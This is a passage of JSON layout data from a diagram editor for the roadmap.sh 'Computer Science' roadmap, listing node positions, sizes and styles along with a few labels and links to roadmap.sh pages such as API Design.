3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"qHl-nZgyPPwUnfoJTOMaV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": -146.6609513586469,\n        \"y\": 2386.2403288368755\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"UeRc4bKVtg1OI-tw-DDlx\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -36.956019691717074,\n        \"y\": 2302.529637253211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"N4hMgSs7_NkJTye1b4WGB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": -36.956019691717074,\n        \"y\": 2302.529637253211\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"Px_tVqIhzrQBDlMHSGcxe\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -108.95601969171707,\n        \"y\": 2304.2403288368755\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"N4hMgSs7_NkJTye1b4WGB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": -108.95601969171707,\n        \"y\": 2304.2403288368755\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"flfk0kCNrRw3RAm_YfqD4\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -184.61511179817649,\n        \"y\": 2302.529637253211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"N4hMgSs7_NkJTye1b4WGB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": -184.61511179817649,\n        \"y\": 2302.529637253211\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"9xh2lAwAnG_iqpL44vg-_\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -258.61511179817643,\n        \"y\": 2302.529637253211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"N4hMgSs7_NkJTye1b4WGB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": -258.61511179817643,\n        \"y\": 2302.529637253211\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"qHl-nZgyPPwUnfoJTOMaV\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 463.6360889073014,\n        \"y\": 2386.2403288368755\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 105,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 105\n      },\n      \"positionAbsolute\": {\n        \"x\": 463.6360889073014,\n        \"y\": 2386.2403288368755\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 105\n      }\n    },\n    {\n      \"id\": \"cZIMC3KPMYI_R2a4IkhIm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 247.55128845385786,\n        \"y\": 1940.6857669308667\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": 247.55128845385786,\n        \"y\": 1940.6857669308667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"vtXpCorKPiSOyzfHhoMhB\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 151.0371390423403,\n        \"y\": 1940.6857669308667\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"cZIMC3KPMYI_R2a4IkhIm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": 151.0371390423403,\n        \"y\": 1940.6857669308667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"yZmf_sUZnw0DcgrRX_aFq\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 67.03713904234036,\n        \"y\": 1940.6857669308667\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"cZIMC3KPMYI_R2a4IkhIm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": 67.03713904234036,\n        \"y\": 1940.6857669308667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"nvEMP1hlIMmuQGOldXL5M\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 36.816461554047976,\n        \"y\": 2128.330862188433\n      },\n      \"width\": 284,\n      \"height\": 196,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 196\n      },\n      \"selected\": false,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": 36.816461554047976,\n        \"y\": 2128.330862188433\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 196\n      }\n    },\n    {\n      \"id\": \"PML5ScZWD19K3GLKmbJap\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -364.0784533997364,\n        \"y\": 1549.7547950762062\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"0aJ8fsDjsxyXc6DK3ea5Q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 95,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 95\n      },\n      \"positionAbsolute\": {\n        \"x\": -364.0784533997364,\n        \"y\": 1549.7547950762062\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 95\n      }\n    },\n    {\n      \"id\": \"0aJ8fsDjsxyXc6DK3ea5Q\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -478.5838696000311,\n        \"y\": 1542.0117730746028\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"AwbF6cOF41X4XX5sssEQn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 95,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 95\n      },\n      \"positionAbsolute\": {\n        \"x\": -478.5838696000311,\n        \"y\": 1542.0117730746028\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 95\n      }\n    },\n    {\n      \"id\": \"-bpOzgBk5Bn5WWgk8Pu5v\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 295.6360889073014,\n        \"y\": 1582.809467926659\n      },\n      \"width\": 216,\n      \"height\": 250,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 250\n      },\n      \"selected\": false,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": 295.6360889073014,\n        \"y\": 1582.809467926659\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 250\n      }\n    },\n    {\n      \"id\": \"AwbF6cOF41X4XX5sssEQn\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 390.6360889073014,\n        \"y\": 1407.5117730746028\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 175,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 175\n      },\n      \"positionAbsolute\": {\n        \"x\": 390.6360889073014,\n        \"y\": 1407.5117730746028\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 175\n      }\n    },\n    {\n      \"id\": \"XDP5CUV6fuf9lFp42_5Jb\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 479.2680496244592,\n        \"y\": 710.054529406169\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 786,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 786\n      },\n      \"positionAbsolute\": {\n        \"x\": 479.2680496244592,\n        \"y\": 710.054529406169\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 786\n      }\n    },\n    {\n      \"id\": \"Pk--VU4Dn0UQYxc5mDykI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 202.96354289809517,\n        \"y\": 784.6813098764044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 223,\n      \"height\": 370,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 370\n      },\n      \"positionAbsolute\": {\n        \"x\": 202.96354289809517,\n        \"y\": 784.6813098764044\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 370\n      }\n    },\n    {\n      \"id\": \"IxvLv_S2luYMSVXlsxrHt\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -249.11423831675936,\n        \"y\": 1107.9997521969883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 280,\n      \"height\": 327,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 327\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -249.11423831675936,\n        \"y\": 1107.9997521969883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 327\n      }\n    },\n    {\n      \"id\": \"c_44fjH3QZw0OvRIkRobf\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -514.6142383167594,\n        \"y\": 1107.9997521969883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 270,\n      \"height\": 327,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 327\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -514.6142383167594,\n        \"y\": 1107.9997521969883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 327\n      }\n    },\n    {\n      \"id\": \"2bhY7aSAJTF_v0SH0TVgq\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -517.36376953125,\n        \"y\": 784.611083984375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 270,\n      \"height\": 327,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 327\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -517.36376953125,\n        \"y\": 784.611083984375\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 327\n      }\n    },\n    {\n      \"id\": \"mB6Us4BvQ2LtuvNiZF6DQ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -253.36376953125,\n        \"y\": 784.611083984375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 247,\n      \"height\": 327,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 327\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -253.36376953125,\n        \"y\": 784.611083984375\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 327\n      }\n    },\n    {\n      \"id\": \"K6FQHGJep6HwEYlgjjQjJ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 23.255365040612787,\n        \"y\": 1109.6909100960127\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 183,\n      \"height\": 325,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 325\n      },\n      \"positionAbsolute\": {\n        \"x\": 23.255365040612787,\n        \"y\": 1109.6909100960127\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 325\n      }\n    },\n    {\n      \"id\": \"2_aaf2bJha7U5B7L1jwA2\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -13.010992436745596,\n        \"y\": 784.0706963916828\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 221,\n      \"height\": 169,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 169\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -13.010992436745596,\n        \"y\": 784.0706963916828\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 169\n      }\n    },\n    {\n      \"id\": \"znQvyhgDMgdMHOtDmIya0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -11.863911092698572,\n        \"y\": 949.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 219,\n      \"height\": 162,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 162\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -11.863911092698572,\n        \"y\": 949.9443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 162\n      }\n    },\n    {\n      \"id\": \"MguUMOEZ8P0_WFAO3idVY\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -106.23550208669644,\n        \"y\": 628.054529406169\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": -106.23550208669644,\n        \"y\": 628.054529406169\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"0CpEOw_kX1BnyYoYkcyo6\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 81.89840193478477,\n        \"y\": 628.054529406169\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ccWWUL3mU3Tm1ydXRoWn4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": 81.89840193478477,\n        \"y\": 628.054529406169\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"QSvxXR4rEWR6tnWSyuM68\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 324.1360889073014,\n        \"y\": 220.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"MguUMOEZ8P0_WFAO3idVY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": 324.1360889073014,\n        \"y\": 220.90713538179\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"ANTSbyy8pOHXS3BkTSGIp\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -439.8639110926986,\n        \"y\": 296.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"MguUMOEZ8P0_WFAO3idVY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 65,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 65\n      },\n      \"positionAbsolute\": {\n        \"x\": -439.8639110926986,\n        \"y\": 296.44433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 65\n      }\n    },\n    {\n      \"width\": 277,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -136.86391109269857,\n        \"y\": -156.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Computer Science\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -136.86391109269857,\n        \"y\": -156.76957062917046\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 64,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -9.363911092698572,\n        \"y\": -232.55566976101449\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -9.363911092698572,\n        \"y\": -232.55566976101449\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 64\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 25.693201050423,\n        \"y\": 3694.1968250407026\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": 25.693201050423,\n        \"y\": 3694.1968250407026\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 427,\n      \"height\": 119,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -177.30679894957694,\n        \"y\": 3604.680859760275\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -177.30679894957694,\n        \"y\": 3604.680859760275\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 427,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 427,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 135,\n      \"height\": 49,\n      \"id\": \"ZSrQoNGKiR484uALMWO9F\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 104.04797240768244,\n        \"y\": 3662.3701416719264\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Design\",\n        \"href\": \"https://roadmap.sh/api-design\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 104.04797240768244,\n        \"y\": 3662.3701416719264\n      },\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      